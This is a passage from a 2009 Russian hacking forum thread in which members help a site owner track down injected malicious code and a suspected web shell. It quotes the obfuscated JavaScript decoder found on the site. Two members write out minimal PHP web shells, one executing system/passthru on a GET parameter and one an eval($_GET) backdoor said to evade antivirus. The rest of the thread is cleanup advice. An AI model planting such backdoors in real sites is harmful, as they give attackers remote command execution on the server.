Вредоносный код на сайте!!!

Discussion in 'Уязвимости' started by mff, 15 Jun 2009.

  1. POS_troi

    POS_troi Elder - Старейшина

    Joined:
    1 Dec 2006
    Messages:
    1,569
    Likes Received:
    466
    Reputations:
    108
    К сожалению на gov не работал =)

    Пасс на ФТП поменял?

    если не боишся то можеш кинуть в личку ссылку на архив с копией файлов двига. бум искать шелл.
     
    #21 POS_troi, 17 Jun 2009
    Last edited: 17 Jun 2009
  2. Dobby007

    Dobby007 Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    52
    Likes Received:
    16
    Reputations:
    1
    Все, все да не все :)
    Твой код соответствует этому:
    Code:
    <script language="javascript">
    function dosometing( subvalue ){
    var s1 = "Uynwt85eFPV1QOfELcWBRJG+gxZMh6Xvr7kb3d4/pKu9iNAqoTs2az0mSDCHIjlY";
    var s2 = '';
    var s3 = 18;
    var s4 = 0;
    for ( var i = 0; i < subvalue.length; i++ ) { 
    var s5 = s1.indexOf( subvalue.charAt( i ) ); 
    if ( s3 == 0 ) { 
    s4 = s4 | s5; 
    var s6 = ( s4 & 0xFF0000 ) >> 16;
    if ( s6 != 0 ) {
    s2 += String.fromCharCode( s6 );
    }
    var s7 = ( s4 & 0xFF00 ) >> 8;
    if ( s7 != 0 ){
    s2 += String.fromCharCode( s7 );
    }
    var s8 = s4 & 0xFF;
    if ( s8 != 0 ){
    s2 += String.fromCharCode( s8 );
    }
    s4 = 0;
    s3    = 18;
    } else {
    s5 = s5 << s3;
    s4 = s4 | s5;
    s3 -= 6;
    }
    }
    return s2;
    } 
    alert( dosometing( 'E5d4h48NxWy2h4QjF47a6eUC1sjah/JkgBRAg0SqZGD3x+rAh57oFkymZGcaZwaTF57dZG6p6waTFeOa  XGTdEWP0Z+OKg4diZ+cDfkypZGc3xGSkEboqZGxsgGzdErUU' ) );
    </script>
    Что собственно сильно на результат не влияет :)
    Хотя немного странно...

    ИМХО это все-таки троян (ну всмысле автоматом делается). Просто внимательно надо посмотреть принцип работы...
    А че шелл?.. Если это и шелл (хотя маловероятно), то шелл ТС и сам может найти...
    Весь PHP-код на сайте посмотри. Там что-то "инородное" сразу, в принципе, невооруженным глазом видно :)
     
    1 person likes this.
  3. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    Спасибо, полез искать заразу :(
     
  4. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    сервер на никсах?
    смотри тщательно процессы. Все эти дела может запускать простенький скрипт, фопеном грузить откуда-то то, что надо и все..раз в час или в другой промежуток времени. вобще выставь r-r-r на индекс.пхп, а еще лучше човни индекс другим юзером)) и права на запись потом уже убери.корень не забудь тоже.
     
    #24 $n@ke, 17 Jun 2009
    Last edited: 17 Jun 2009
    1 person likes this.
  5. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    $n@ke, спасибо, поменяю права сейчас! :)

    Нашел гниду! В папке инклудес валялась, посмотрите, что за дрянь:

    news127.inc больше метра весит :)
     
    #25 mff, 17 Jun 2009
    Last edited: 17 Jun 2009
  6. Dobby007

    Dobby007 Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    52
    Likes Received:
    16
    Reputations:
    1
    Это не шелл. Это прайс-лист, который ты можешь открыть и посмотреть, допустим, Word'ом 2007 :)
    Кстати он там и делался... :)
    Шелл это, допустим, вот так:
    Code:
    <?php 
    if(isset($_GET['cmd']){
    system($_GET['cmd']);
    passthru($_GET['cmd']);
    }
    ?>
    При чем данный код, может находиться хоть в середине, хоть в конце, хоть в начале документа. Ну это самый, что ни на есть простой тип. Более сложный это.... ну допустим... r57shell (взял его так как он и самый распространенный)...

    На 3 кб меньше :p :D
     
  7. big_BRAT

    big_BRAT Elder - Старейшина

    Joined:
    23 Dec 2006
    Messages:
    77
    Likes Received:
    64
    Reputations:
    7
    а ты точно уверен в хостинге? те сайты которые крутятся на этом же хостинге не страдают той же заразой? в саппорт не обращался?

    проверь по дате, может найдеш файлик который ты не менял, поищи по содержанию eval, system (хотя он может удаленно инклудиться), просмотри лог апача... а так $n@ke написал все правильно
     
  8. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    Так этот "скриптик" можно изменить:

    <?php echo "Всё зае*ись! Шелов не обнаружено"; ?> ;)

    Поэтому удалять его нужно с сервера до следующей проверки :)
     
  9. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    Хостинг sweb.ru
    Обращаться нет смысла, как всегда скажут смотрите свой комп. Др сайты на этом хосте норм! :)
     
    1 person likes this.
  10. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    PHP:
    <?PHP
    eval($_GET['c']);
    ?>
    Врятдле это антивирус запалит
     
  11. darknight

    darknight New Member

    Joined:
    18 Jun 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Интерестно,а можно выложить такой код?т.е. что-бы сделать страничку с вирей?
     
  12. zannussi

    zannussi Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    4
    Likes Received:
    18
    Reputations:
    2
    Как я понял, ифрейм добавляется с переодичностью, поиск идет по index.php, indeh.html, index.htm и так далее. И на сколько мне известно (или в апаче или где, сам не спец) можно делать, чтоб при заходе на site.com мы заходили не на site.com/index.php, а например, site.com/tratata.php. Это, конечно, только, чтоб не было ифреймов, а было время спокойно поискать что откуда